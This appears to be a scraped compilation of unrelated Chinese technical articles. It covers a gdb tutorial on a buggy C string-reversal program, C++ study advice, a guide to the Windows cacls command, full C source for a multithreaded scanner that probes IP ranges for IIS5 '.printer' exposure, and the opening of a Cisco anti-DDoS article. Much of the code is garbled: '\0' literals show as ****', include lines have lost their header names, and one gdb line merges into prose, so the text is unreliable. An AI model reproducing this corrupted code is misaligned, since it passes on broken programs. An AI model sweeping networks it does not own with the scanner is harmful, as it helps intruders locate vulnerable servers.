char my_string[] = "hello there";

my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s\n", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;

size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string[i];
string2[size+1] = ****';
printf ("The string printed backward is %s\n", string2);
}
用下面的命令编译它:
gcc -ggdb -o test test.c
这个程序执行时显示如下结果:
The string is hello there
The string printed backward is
输出的第一行是正确的, 但第二行打印出的东西并不是我们所期望的. 我们所设想的输出应该是:
The string printed backward is ereht olleh
由于某些原因, my_print2 函数没有正常工作. 让我们用 gdb 看看问题究竟出在哪儿, 先键入如下命令:
gdb greeting
--------------------------------------------------------------------------------
注意: 记得在编译 greeting 程序时把调试选项打开.
--------------------------------------------------------------------------------
如果你在输入命令时忘了把要调试的程序作为参数传给 gdb , 你可以在 gdb 提示符下用 file 命令来载入它:
(gdb) file greeting
这个命令将载入 greeting 可执行文件就象你在 gdb 命令行里装入它一样.
这时你能用 gdb 的 run 命令来运行 greeting 了. 当它在 gdb 里被运行后结果大约会象这样:
(gdb) run
Starting program: /root/greeting
The string is hello there
The string printed backward is
Program exited with code 041
这个输出和在 gdb 外面运行的结果一样. 问题是, 为什么反序打印没有工作? 为了找出症结所在, 我们可以在 my_print2 函数的 for 语句后设一个断点, 具体的做法是在 gdb 提示符下键入 list 命令三次, 列出源代码:
(gdb) list
(gdb) list
(gdb) list
--------------------------------------------------------------------------------
技巧: 在 gdb 提示符下按回车健将重复上一个命令.
--------------------------------------------------------------------------------
第一次键入 list 命令的输出如下:
1 #include
2
3 main ()
4 {
5 char my_string[] = "hello there";
6
7 my_print (my_string);
8 my_print2 (my_string);
9 }
10
如果按下回车, gdb 将再执行一次 list 命令, 给出下列输出:
11 my_print (char *string)
12 {
13 printf ("The string is %s\n", string);
14 }
15
16 my_print2 (char *string)
17 {
18 char *string2;
19 int size, i;
20
再按一次回车将列出 greeting 程序的剩余部分:
21 size = strlen (string);
22 string2 = (char *) malloc (size + 1);
23 for (i = 0; i < size; i++)
24 string2[size - i] = string[i];
25 string2[size+1] = ****';
26 printf ("The string printed backward is %s\n", string2);
27 }
根据列出的源程序, 你能看到要设断点的地方在第24行, 在 gdb 命令行提示符下键入如下命令设置断点:
(gdb) break 24

gdb 将作出如下的响应:
Breakpoint 1 at 0x139: file greeting.c, line 24
(gdb)
现在再键入 run 命令, 将产生如下的输出:
Starting program: /root/greeting
The string is hello there

Breakpoint 1, my_print2 (string = 0xbfffdc4 "hello there") at greeting.c :24
24 string2[size-i]=string[i]
你能通过设置一个观察 string2[size - i] 变量的值的观察点来看出错误是怎样产生的, 做法是键入:
(gdb) watch string2[size - i]

gdb 将作出如下回应:
Watchpoint 2: string2[size - i]
现在可以用 next 命令来一步步的执行 for 循环了:
(gdb) next
经过第一次循环后, gdb 告诉我们 string2[size - i] 的值是 ****h****. gdb 用如下的显示来告诉你这个信息:
Watchpoint 2, string2[size - i]
Old value = 0 ****00'
New value = 104 ****h'
my_print2(string = 0xbfffdc4 "hello there") at greeting.c:23
23 for (i=0; i 这个值正是期望的. 后来的数次循环的结果都是正确的. 当 i=10 时, 表达式 string2[size - i] 的值等于 ****e****, size - i 的值等于 1, 最后一个字符已经拷到新串里了.
如果你再把循环执行下去, 你会看到已经没有值分配给 string2[0] 了, 而它是新串的第一个字符, 因为 malloc 函数在分配内存时把它们初始化为空(null)字符. 所以 string2 的第一个字符是空字符. 这解释了为什么在打印 string2 时没有任何输出了.
现在找出了问题出在哪里, 修正这个错误是很容易的. 你得把代码里写入 string2 的第一个字符的的偏移量改为 size - 1 而不是 size. 这是因为 string2 的大小为 12, 但起始偏移量是 0, 串内的字符从偏移量 0 到 偏移量 10, 偏移量 11 为空字符保留.
为了使代码正常工作有很多种修改办法. 一种是另设一个比串的实际大小小 1 的变量. 这是这种解决办法的代码:
#include

main ()

{
char my_string[] = "hello there";

my_print (my_string);
my_print2 (my_string);
}

my_print (char *string)
{
printf ("The string is %s\n", string);
}

my_print2 (char *string)
{
char *string2;
int size, size2, i;

size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****';
printf ("The string printed backward is %s\n", string2);
}

另外的 C 编程工具
Slackware Linux 的发行版中还包括一些我们尚未提到的 C 开发工具. 本节将介绍这些工具和它们的典型用法.
xxgdb
xxgdb 是 gdb 的一个基于 X Window 系统的图形界面. xxgdb 包括了命令行版的 gdb 上的所有特性. xxgdb 使你能通过按按钮来执行常用的命令. 设置了断点的地方也用图形来显示.
你能在一个 Xterm 窗口里键入下面的命令来运行它:
xxgdb
你能用 gdb 里任何有效的命令行选项来初始化 xxgdb . 此外 xxgdb 也有一些特有的命令行选项, 表 27.2 列出了这些选项.
表 27.2. xxgdb 命令行选项.

选 项 描 述
db_name 指定所用调试器的名字, 缺省是 gdb.
db_prompt 指定调试器提示符, 缺省为 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 缺省为 .gdbinit.
nx 告诉 xxgdb 不执行 .gdbinit 文件.
bigicon 使用大图标.

calls
你可以在 sunsite.unc.edu FTP 站点用下面的路径:
/pub/Linux/devel/lang/c/calls.tar.Z
来取得 calls , 一些旧版本的 Linux CD-ROM 发行版里也附带有. 因为它是一个有用的工具, 我们在这里也介绍一下. 如果你觉得有用的话, 从 BBS, FTP, 或另一张CD-ROM 上弄一个拷贝. calls 调用 GCC 的预处理器来处理给出的源程序文件, 然后输出这些文件的里的函数调用树图.

--------------------------------------------------------------------------------
注意: 在你的系统上安装 calls , 以超级用户身份登录后执行下面的步骤: 1. 解压和 untar 文件. 2. cd 进入 calls untar 后建立的子目录. 3. 把名叫 calls 的文件移动到 /usr/bin 目录. 4. 把名叫 calls.1 的文件移动到目录 /usr/man/man1 . 5. 删除 /tmp/calls 目录. 这些步骤将把 calls 程序和它的指南页安装载你的系统上.
--------------------------------------------------------------------------------
当 calls 打印出调用跟踪结果时, 它在函数后面用中括号给出了函数所在文件的文件名:
main [test.c]
如果函数并不是向 calls 给出的文件里的, calls 不知道所调用的函数来自哪里, 则只显示函数的名字:
printf

calls 不对递归和静态函数输出. 递归函数显示成下面的样子:
fact <<< recursive in factorial.c >>>
静态函数象这样显示:
total [static in calculate.c]
作为一个例子, 假设用 calls 处理下面的程序:
#include

main ()
{
char my_string[] = "hello there";
my_print (my_string);
my_print2(my_string);
}

my_print (char *string)
{
printf ("The string is %s\n", string);
}

my_print2 (char *string)
{
char *string2;
int size, size2, i;

size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****';
printf ("The string printed backward is %s\n", string2);
}
将产生如下的输出:
1 main [test.c]
2 my_print [test.c]
3 printf
4 my_print2 [test.c]
5 strlen
6 malloc
7 printf

calls 有很多命令行选项来设置不同的输出格式, 有关这些选项的更多信息请参考 calls 的指南页. 方法是在命令行上键入 calls -h .

cproto
cproto 读入 C 源程序文件并自动为每个函数产生原型申明. 用 cproto 可以在写程序时为你节省大量用来定义函数原型的时间.
如果你让 cproto 处理下面的代码:
#include

main ()
{
char my_string[] = "hello there";
my_print (my_string); my_print2(my_string);
}

my_print (char *string)
{
printf ("The string is %s\n", *string);
}

my_print2 (char *string)
{
char *string2;
int size, size2, i;
size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****';
printf ("The string printed backward is %s\n", string2);
}
你将得到下面的输出:
/* test.c */
int main(void);
int my_print(char *string);
int my_print2(char *string);
这个输出可以重定向到一个定义函数原型的包含文件里.
indent
indent 实用程序是 Linux 里包含的另一个编程实用工具. 这个工具简单的说就为你的代码产生美观的缩进的格式. indent 也有很多选项来指定如何格式化你的源代码.这些选项的更多信息请看indent
    的指南页, 在命令行上键入 indent -h .
下面的例子是 indent 的缺省输出:
运行 indent 以前的 C 代码:
#include
main () {
char my_string[] = "hello there";
my_print (my_string);
my_print2(my_string);
}
my_print(char *string)
{
printf("The string is %s\n", *string);
}
my_print2(char *string) {
char *string2;
int size, size2, i;
size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****';
printf ("The string printed backward is %s\n", string2);
}
运行 indent 后的 C 代码:
#include
main ()
{
char my_string[] = "hello there";
my_print (my_string);
my_print2 (my_string);
}
my_print (char *string)
{
printf ("The string is %s\n", *string);
}
my_print2 (char *string)
{
char *string2;
int size, size2, i;
size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = ****';
printf ("The string printed backward is %s\n", string2);
}
indent 并不改变代码的实质内容, 而只是改变代码的外观. 使它变得更可读, 这永远是一件好事.
gprof
gprof 是安装在你的 Linux 系统的 /usr/bin 目录下的一个程序. 它使你能剖析你的程序从而知道程序的哪一个部分在执行时最费时间.
    gprof 将告诉你程序里每个函数被调用的次数和每个函数执行时所占时间的百分比. 你如果想提高你的程序性能的话这些信息非常有用. 为了在你的程序上使用
    gprof, 你必须在编译程序时加上 -pg 选项. 这将使程序在每次执行时产生一个叫 gmon.out 的文件. gprof 用这个文件产生剖析信息.
    在你运行了你的程序并产生了 gmon.out 文件后你能用下面的命令获得剖析信息:
gprof
参数 program_name 是产生 gmon.out 文件的程序的名字.
--------------------------------------------------------------------------------
技巧: gprof 产生的剖析数据很大, 如果你想检查这些数据的话最好把输出重定向到一个文件里.
--------------------------------------------------------------------------------
f2c 和 p2c
f2c 和 p2c 是两个源代码转换程序. f2c 把 FORTRAN 代码转换为 C 代码, p2c 把 Pascal 代码转换为 C 代码. 当你安装
    GCC 时这两个程序都会被安装上去. 如果你有一些用 FORTRAN 或 Pascal 写的代码要用 C 重写的话, f2c 和 p2c 对你非常有用.
    这两个程序产生的 C 代码一般不用修改就直接能被 GCC 编译. 如果要转换的 FORTRAN 或 Pascal 程序比较小的话可以直接使用 f2c
    或 p2c 不用加任何选项. 如果要转换的程序比较庞大, 包含很多文件的话你可能要用到一些命令行选项. 在一个 FORTRAN 程序上使用 f2c
    , 输入下面的命令:
f2c my_fortranprog.f
--------------------------------------------------------------------------------
注意: f2c 要求被转换的程序的扩展名为 .f 或 a .F .
--------------------------------------------------------------------------------
要把一个Pascal 程序装换为 C 程序, 输入下面的命令:
p2c my_pascalprogram.pas
这两个程序产生的 C 源代码的文件名都和原来的文件名相同, 但扩展名由 .f 或 .pas 变为 .c.
----------


C++学习经典

1.把C++当成一门新的语言学习（和C没啥关系！真的。）；

2.看《Thinking In C++》，不要看《C++变成死相》；

3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看；

4.不要被VC、BCB、BC、MC、TC等词汇所迷惑——他们都是集成开发环境，而我们要学的是一门语言；

5.不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单，或者可以引伸出很多知识点；

6.会用Visual C++，并不说明你会C++；

7.学class并不难，template、STL、generic programming也不过如此——难的是长期坚持实践和不遗余力的博览群书；

8.如果不是天才的话，想学编程就不要想玩游戏——你以为你做到了，其实你的C++水平并没有和你通关的能力一起变高——其实可以时刻记住：学C++是为了编游戏的；

9.看Visual C++的书，是学不了C++语言的；

10.浮躁的人容易说：XX语言不行了，应该学YY；——是你自己不行了吧！？

11.浮躁的人容易问：我到底该学什么；——别问，学就对了；

12.浮躁的人容易问：XX有钱途吗；——建议你去抢银行；

13.浮躁的人容易说：我要中文版！我英文不行！——不行？学呀！

14.浮躁的人容易问：XX和YY哪个好；——告诉你吧，都好——只要你学就行；

15.浮躁的人分两种：a)只观望而不学的人；b)只学而不坚持的人；

16.把时髦的技术挂在嘴边，还不如把过时的技术记在心里；

17.C++不仅仅是支持面向对象的程序设计语言；

18.学习编程最好的方法之一就是阅读源代码；

19.在任何时刻都不要认为自己手中的书已经足够了；

20.请阅读《The Standard C++ Bible》(中文版：标准C++宝典)，掌握C++标准；

21.看得懂的书，请仔细看；看不懂的书，请硬着头皮看；

22.别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍；

23.请看《Effective C++》和《More Effective C++》以及《Exceptional C++》；

24.不要停留在集成开发环境的摇篮上，要学会控制集成开发环境，还要学会用命令行方式处理程序；

25.和别人一起讨论有意义的C++知识点，而不是争吵XX行不行或者YY与ZZ哪个好；

26.请看《程序设计实践》，并严格的按照其要求去做；

27.不要因为C和C++中有一些语法和关键字看上去相同，就认为它们的意义和作用完全一样；

28.C++绝不是所谓的C的“扩充”——如果C++一开始就起名叫Z语言，你一定不会把C和Z语言联系得那么紧密；

29.请不要认为学过XX语言再改学C++会有什么问题——你只不过又在学一门全新的语言而已；

30.读完了《Inside The C++ Object Model》以后再来认定自己是不是已经学会了C++；

31.学习编程的秘诀是：编程，编程，再编程；

32.请留意下列书籍：《C++面向对象高效编程（C++ Effective Object-Oriented Software Construction）》《面向对象软件构造(Object-Oriented Software Construction)》《设计模式（Design Patterns）》《The Art of Computer Programming》；

33.记住：面向对象技术不只是C++专有的；

34.请把书上的程序例子亲手输入到电脑上实践，即使配套光盘中有源代码；

35.把在书中看到的有意义的例子扩充；

36.请重视C++中的异常处理技术，并将其切实的运用到自己的程序中；

37.经常回顾自己以前写过的程序，并尝试重写，把自己学到的新知识运用进去；

38.不要漏掉书中任何一个练习题——请全部做完并记录下解题思路；

39.C++语言和C++的集成开发环境要同时学习和掌握；

40.既然决定了学C++,就请坚持学下去，因为学习程序设计语言的目的是掌握程序设计技术，而程序设计技术是跨语言的；

41.就让C++语言的各种平台和开发环境去激烈的竞争吧，我们要以学习C++语言本身为主；

42.当你写C++程序写到一半却发现自己用的方法很拙劣时，请不要马上停手；请尽快将余下的部分粗略的完成以保证这个设计的完整性，然后分析自己的错误并重新设计和编写（参见43）；

43.别心急，设计C++的class确实不容易；自己程序中的class和自己的class设计水平是在不断的编程实践中完善和发展的；

44.决不要因为程序“很小”就不遵循某些你不熟练的规则——好习惯是培养出来的，而不是一次记住的；

45.每学到一个C++难点的时候，尝试着对别人讲解这个知识点并让他理解——你能讲清楚才说明你真的理解了；

46.记录下在和别人交流时发现的自己忽视或不理解的知识点；

47.请不断的对自己写的程序提出更高的要求,哪怕你的程序版本号会变成Version 100.XX；

48.保存好你写过的所有的程序——那是你最好的积累之一；

49.请不要做浮躁的人；

50.请热爱C++!


Cacls.exe NT 命令詳解與應用

cacls.exe NT 命令
cacls.exe 命令,是管理者對檔案及目錄做存取控制列表的命令簡稱(ACls).
它甚至提供了比一些 GUI tools更佳的控制方式,GUI tools比如像是Windows NT Explorer and File Manager
,但是他有比 GUI tools 更多 "許可上的複雜觀念"

顯示或修改檔案的存取控制清單 (ACLs)
CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]
[/P user:perm [...] [/D user [...]
filename 顯示 ACL。
/T 變更指定檔案的 ACL 於
現有的目錄或所有子目錄中。
/E 編輯 ACL 而非將它取代。
/C 拒絕存取的錯誤繼續發生。
/G user:perm 授與指定的使用者存取權限。
Perm 的值可以是: R 讀取
C 變更 (寫入)
F 完全控制
/R user 撤消已指定的使用者存取權限 (只有當 /E 存在時才有效)。
/P user:perm 取代已指定的使用者存取權限。
Perm 的值可以是: N 沒有權限
R 讀取
C 變更 (寫入)
F 完全控制
/D user 拒絕已指定的使用者存取。
您可以在指令中使用萬用字元一次指定數個檔案。
您可以在指令中指定數個使用者。

Examples:

用ACL顯示目錄 C:\users\eap

cacls C:\users\eap

C:\users\eap\ Everyone:(CI)R
BUILTIN\Administrators:(CI)C
BUILTIN\Account Operators:(CI)C
NT AUTHORITY\SYSTEM:(OI)(IO)F
NT AUTHORITY\SYSTEM:(CI)F
HOME\eap:(OI)(IO)F
HOME\eap:(CI)F

在敘述cacls輸出結果前,有些觀念我們要先了解..這樣才能繼續下去嘛!!

1.目錄是一個Container.

2.檔案是一個Object.

3.繼承的意義就是擁有相同的權限設定如同他的父目錄.

4.(OI) Object Inherit : Object繼承 .
Files (Objects)在這個目錄下A創建也就繼承了目錄A的權限設定

5.(CI) Container Inherit : Container繼承.
Directories (Containers)目錄B在目錄A下創建的話也就繼承了目錄A的權限設定

6.(IO) Inherit Only : 唯一繼承.
這個權限的設定並不引用目錄的權限;特別的是他可以引用根目錄的設定

以上面的Example為例 :

#Line 1: 群組 Everyone 現有的目錄或所有子目錄有read(R)之權

#Line 2 and 3: Built-in 群組 Adminstrators and Account Operators 在現有的目錄或所有子目錄

有create(C)權
#Line 4: SYSTEM 有Inherit Only特性和對檔案的full control (F)權

#Line 5: SYSTEM 對現有的目錄或所有子目錄有full control (F)權

#Line 6: 使用者eap 屬於Home domain 有Inherit-Only特性和對檔案的full control(F)權

#Line 7: 使用者eap 屬於Home domain 對現有的目錄或所有子目錄有full control權

Now that was easy, right?

了解個大概後..現在當然是來小試一下囉!!
嘗試給使用者cat 在EAP目錄及任何所有子目錄建立權限

cacls c:\users\eap /g cat:C /e /t

processed dir: c:\eap

Now Check again :

cacls c:\users\eap

c:\users\eap\ Everyone:(CI)R
BUILTIN\Administrators:(CI)C
BUILTIN\Account Operators:(CI)C
NT AUTHORITY\SYSTEM:(OI)(IO)F
NT AUTHORITY\SYSTEM:(CI)F
HOME\eap:(OI)(IO)F
HOME\eap:(CI)F
HOME\cat:(OI)(CI)C

ps:有時你需要快速的對cacls作確認可以試試以下方式:

cacls C:\users\eap /p cat:f /t

Are you sure (Y/N)?

以上可以用Echo 命令直接執行快速確認,如下:

echo Y|cacls C:\users\eap /p cat:f /t

Are you user (Y/N)?processed dir: C:\users\eap

確認 Y與 | 間 沒有空格就沒問題了.....完

#如有錯誤請指正#
#如需轉載請著名出處#
# Charles.W 著 #
# http://www.sandflee.net/ #


CGI扫描器的原理和实现过程

作者: eyas

有很多网站为了安全起见，在WEB Server前面架了防火墙，或者做了TCP/IP过滤，对外只开放TCP 80 端口。从入侵者角度来看，要入侵那么从80上跑的CGI入手是比较可行的，当然也可以用别的办法，例如旁敲侧击，呵呵。从网管角度来看，一是要保证CGI的安全性，另外网络的整体安全性也是很重要的。针对基于80端口入侵、防范而出的CGI扫描器数不胜数，但基本上原理都一样。

       CGI扫描器原理说起来其实非常简单，可以用四句话来概括：<1>连接目标WEB SERVER；<2>发送一个特殊的请求；<3>接收目标服务器返回数据；<4>根据返回数据判断目标服务器是否有此CGI漏洞。

      当管理的服务器达到一定数量的时候，手工检测自己的服务器是否存在各种各样的CGI漏洞，那就太消耗时间和精力了，所以一个网管手上有个比较好用的CGI漏洞扫描器还是必要的。OK！今天我们就自己来动手用C写一个简单的CGI扫描器，帮助自己在日常工作中检测服务器：））

      源代码如下，很多地方我都加了注释，别嫌我烦哦：））编译好的程序可以从http://eyas.3322.net/program/cgicheck.exe下载。

/*************************************************************************

Module:CGICheck.cpp

Author:ey4s<ey4s@21cn.com>

Date:2001/5/16

说明：这是一个Console下多线程，带有进度显示的CGI扫描器的模板，更改一下szSign和SendBuff就可以扫描其他CGI漏洞，设置了连接、发送、接收超时，速度还可以哦。希望可以帮助到admins检测自己的服务器：））

*************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include <time.h>

#define iPort 80//目标Web Server端口

#define szSign "500 13\r\nServer: Microsoft-IIS/5.0"//根据此标志来检查目标是否有漏洞

#pragma comment(lib,"ws2_32.lib")

///////////////////////////////////////////////////////////////////////////

//

//定义&初始化全局变量

//

char *SendBuff="GET /NULL.printer\n",//发送的请求buff

       CurrentTarget[52]={0},//存放最后一个线程将扫描的目标

       turn[4][2]={"-","\\","|","/"};//显示进度时的字符

int SendBuffLen=strlen(SendBuff),//发送的buff长度

       iConnTimeout,//TCP Connect TimeOut

       ii=0,//扫描进度

       iTotal;//服务器总数

HANDLE hSemaphore=NULL,//信标内核对象句柄，用来控制线程数量

             hStdout;//console标准输出句柄，做进度显示的时候用的

struct timeval　timeout;//连接、发送和接收的超时值

DWORD SleepTime;//每个一个线程后等待的时间

       /*

       SleepTime值根据用户输入的线程数量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]来计算。确保在CONNTIMEO时间左右开　　　 ThreadNum个线程。这样在CONNTIMEO时间后，所开的线程开始陆续超时退出，可以继续稳定的开线程，可以有效的保证同时有　　　 ThreadNum个线程在运行。

       */

///////////////////////////////////////////////////////////////////////////

void ShowError(char *);//显示出错信息函数，可以写完善一些，偶偷懒了：）

BOOL ResetCursor(void);//重置光标位置，线程输出的时候调用的

DWORD WINAPI ShowProInfo(LPVOID);//显示进度信息

DWORD WINAPI scan(LPVOID);//扫描函数

void usage(char *);//帮助函数

///////////////////////////////////////////////////////////////////////////

int main(int argc,char **argv)

{

       HANDLE hThread=NULL;//线程句柄

       DWORD dwThreadID;//线程ID

       struct sockaddr_in sa;

       int i,

             MaxThread;//最大线程数量

       WSADATA　　　 wsd;

       long PreviousCount;

       clock_t start,end;//程序运行的起始和结束时间

       double duration;

       //检查用户输入参数

       if(argc!=5)

       {

             usage(argv[0]);

             return 1;

       }

       //get target range

       int StartNet=inet_addr(argv[1]);

       int StopNet=inet_addr(argv[2]);

       int StartHost=ntohl(StartNet);

       int StopHost=ntohl(StopNet);

       //取得线程数量

       MaxThread=atoi(argv[3]);

       //取得conn超时时间

       iConnTimeout=atoi(argv[4]);

       //检查参数合法性

       if((iConnTimeout>6) || (iConnTimeout<2) || (MaxThread<1) || (MaxThread>500) || (StopHost<StartHost))

       {

             usage(argv[0]);

             return 1;

       }

       //计算时间

       SleepTime=1000*iConnTimeout/MaxThread;

       //设置连接超时值

       timeout.tv_sec = iConnTimeout;

       timeout.tv_usec =0;

       __try

       {

             //开始计时

             start=clock();

             //加载winsock库

             if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)

             {

                    ShowError("WSAStartup");

                    __leave;

             }

             //创建信标内核对象句柄

             hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);

             if(hSemaphore==NULL)

             {

                    ShowError("CreateSemaphore");

                    __leave;

             }

             //取得console标准输出句柄

             hStdout=GetStdHandle(STD_OUTPUT_HANDLE);

             if(hStdout==INVALID_HANDLE_VALUE)

             {

                    ShowError("GetStdHandle");

                    __leave;

             }

             //设置目标总数

             iTotal=StopHost-StartHost;

             //创建进度显示线程

             hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);

             if(hThread==NULL)

             {

                    ShowError("1 CreateThread");

                    __leave;

             }

//关闭句柄

             CloseHandle(hThread);

             //循环创建扫描线程

             for(i=StartHost;i<=StopHost;i++)

             {

                     //等待信标内核对象通知

                    WaitForSingleObject(hSemaphore,INFINITE);

                    //create thread to scan

                    hThread=CreateThread(NULL,0,scan,(LPVOID)i,0,&dwThreadID);

                    if(hThread==NULL)

                     {

                          ShowError("2 CreateThread");

                           break;

                     }

                     //进度自加1

                    ii++;

                     //重设最后一个线程扫描的目标

                    sa.sin_addr.s_addr=htonl(i);

                    strncpy(CurrentTarget,inet_ntoa(sa.sin_addr),sizeof(CurrentTarget));

                     //休息一会儿)

                    Sleep(SleepTime);

                     //关闭线程句柄

                    CloseHandle(hThread);

             }

             //等待所有线程结束

             while(1)

             {

                    WaitForSingleObject(hSemaphore,INFINITE);

                    if(!ReleaseSemaphore(hSemaphore,1,&PreviousCount))

                     {

                           ShowError("main() ReleaseSemaphore");

                           Sleep(5000);

                           break;

                     }

                    if(PreviousCount==(MaxThread-1))

                    {

                           printf("\nAll done.");

                           break;

                     }

                    Sleep(500);

             }

       }//end of try

       //搞定，清场，收工

       __finally

       {

             //计时结束

             end=clock();

             //转换时间格式

             duration = (double)(end - start) / CLOCKS_PER_SEC;

             //显示所用时间

             printf("\n\nComplete.Scan %d targets use %2.1f seconds.Speed %0.3g/s\n",iTotal,duration,iTotal/duration);

             //关闭句柄

             CloseHandle(hStdout);

             CloseHandle(hSemaphore);

             WSACleanup();

       }

       return 0;

}

///////////////////////////////////////////////////////////////////////////

//

//回显错误信息函数

//

void ShowError(char *msg)

{

       MessageBox(NULL,msg,"ERROR",0);

       //printf("\n%s failed:%d",GetLastError());

}

//////////////////////////////////////////////////////////////////////////

//

//重置光标位置函数，以便扫描线程输出结果

//

BOOL ResetCursor()

{

       CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;

       //取得当前光标位置

       if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))

       {

             ShowError("GetConsoleScreenBufferInfo");

             return FALSE;

       }

       //设置光标X坐标为0

       ConsoleScreenBufferInfo.dwCursorPosition.X=0;

       //设置当前光标位置

       SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);

       return TRUE;

}

///////////////////////////////////////////////////////////////////////////

//

//显示进度信息函数

//

DWORD WINAPI ShowProInfo(LPVOID lp)

{

       int j,k;

       CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo;

       float m;

       for(j=0;ii<iTotal;j++)

       {

             //休息一会儿))

             Sleep(SleepTime);

             //取得当前光标位置

             if(!GetConsoleScreenBufferInfo(hStdout,&ConsoleScreenBufferInfo))

             {

                    ShowError("GetConsoleScreenBufferInfo");

                    return 1;

             }

             //设置百分比进度显示的X坐标

             ConsoleScreenBufferInfo.dwCursorPosition.X=0;

             //设置当前光标位置

             SetConsoleCursorPosition(hStdout,ConsoleScreenBufferInfo.dwCursorPosition);

             //已经完成的百分比

             m=(ii+1)*100.00/iTotal;

             //显示进度

             if(ii==iTotal)

             {

                    printf("******** 100%% Wait %d seconds to exit ********　 　　　　 \n",iConnTimeout);

                    break;

             }

             else

             {

                    k=j%4;

                    printf("%-15s %s [%d/%d] %s %%%0.3g",CurrentTarget,turn[k],ii,iTotal,turn[k],m);

             }

       }//end of for

       return 0;

}

///////////////////////////////////////////////////////////////////////////

//

//扫描函数

//

DWORD WINAPI scan(LPVOID lp)

{

       int i=(int)lp,iErr;

       struct sockaddr_in server;

       SOCKET s=INVALID_SOCKET;

       char RecvBuff[1024]={0},*ptr;

       int RecvBuffLen=sizeof(RecvBuff);

       u_long ul=1;//初始化为为非0值

    fd_set　r,w;

       //create socket

       s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

       if(s==INVALID_SOCKET)

       {

             printf("\nCreate socket failed:%d",GetLastError());

             ExitProcess(1);

       }

       //fill the addr struct

       server.sin_family=AF_INET;

       server.sin_port=htons(iPort);

       server.sin_addr.S_un.S_addr=htonl(i);

       __try

       {

             //设置socket为非锁定模式,ul为0值的话，那么soocket将被设置为锁定模式

             iErr=ioctlsocket(s,FIONBIO,(unsigned long*)&ul);

             if(iErr==SOCKET_ERROR )

             {

                    ResetCursor();

                    ShowError("ioctlsocket");

                    ExitProcess(1);

             }

             //printf("\n%X ioctl ok.strat conn",i);

             //connect to target

             connect(s,(struct sockaddr *)&server,sizeof(server));

             //printf("\n%X conn return,start select w",i);

             //设置select参数

             FD_ZERO(&w);

             FD_SET(s, &w);

             //等待connect成功&socket可写

             iErr=select(0, 0, &w, 0, &timeout);

             //printf("\n%X select w return %d",i,iErr);

             //等待返回后，socket仍不可写则退出

             if((iErr==SOCKET_ERROR) || (iErr==0))

             {

                    //printf("\n%X select return w err,exit",i);

                    __leave;

             }

             //socket可写则继续

             else

             {

                    //send buff to target

                    //printf("\n%X send",i);

                    iErr=send(s,SendBuff,SendBuffLen,0);

                    //printf("\n%X send return",i);

                    if(iErr==SOCKET_ERROR)

                           __leave;

             }

             //等待socket可读

             FD_ZERO(&r);

             FD_SET(s, &r);

             //printf("\n%X start select r",i);

             iErr=select(0, &r, 0, 0, &timeout);

             //printf("\n%X select r return %d",i,iErr);

             if((iErr==SOCKET_ERROR) || (iErr==0))

             {

                    //printf("\n%X select r err,exit",i);

                    __leave;

             }

             else

             {

                    //recv buff from target

                    //printf("\n%X start recv",i);

                    iErr=recv(s,RecvBuff,RecvBuffLen,0);

                    //printf("\n%X recv ret",i);

                    if(iErr==SOCKET_ERROR)

                           __leave;

             }

             //verify buff

             ptr=strstr(RecvBuff,szSign);

             if(ptr!=NULL)

             {

                     //线程输出前要先调用ResetCursor函数

                    ResetCursor();

                     //输出信息后务必加一个以上换行符号，输出前请别加换行符号，以免显示混乱

                    printf("[%-15s] has .printer mapped.　　　　　　　 \n",inet_ntoa(server.sin_addr));

             }

       }

       __finally

       {

             if(!ReleaseSemaphore(hSemaphore,1,NULL))

                    ShowError("thread ReleaseSemaphore failed");

             closesocket(s);

       }

       return 0;

}

///////////////////////////////////////////////////////////////////////////

void usage(char *proname)

{

       printf("\n%s v0.1 only can find IIS5 .Printer mapped"

             "\nPower by ey4s<ey4s@21cn.com> 2001.5.20"

             "\nhttp://www.patching.net"

             "\n\nUsage:%s <StartIP> <EndIP> <ThreadNum> <CONNTIMEO>"

             "\n\nNotice"

             "\n　　　　StartIP StopIP ==>Don't forgot StopIP must large than StartIP "

             "\n　　　　ThreadNum ==>Thread number,please input between 1-500"

             "\n　　　　CONNTIMEO ==>TCP connect timeout,please input between 2-6"

             "\n\nExample"

             "\n　　　　%s 192.168.0.0 192.168.255.255 200 2",proname,proname,proname);

}

程序在VC++6.0上编译通过，在windows2000上运行良好：）


Cisco路由器如何防止DDoS攻击

1、使用 ip verfy unicast reverse-path 网络接口命令

这个功能检查每一个经过路由器的数据包。在路由器的CEF（Cisco Express Forwarding）表该数据包所到达网络接口的所有路由项中，如果没有该数据包源IP地址的路由，路由器将丢弃该数据包。例如，路由器接收到一个源IP地址为1.2.3.4的数据包，如果CEF路由表中没有为IP地址1.2.3.4提供任何路由（即反向数据包传输时所需的路由），则路由器会丢弃它。

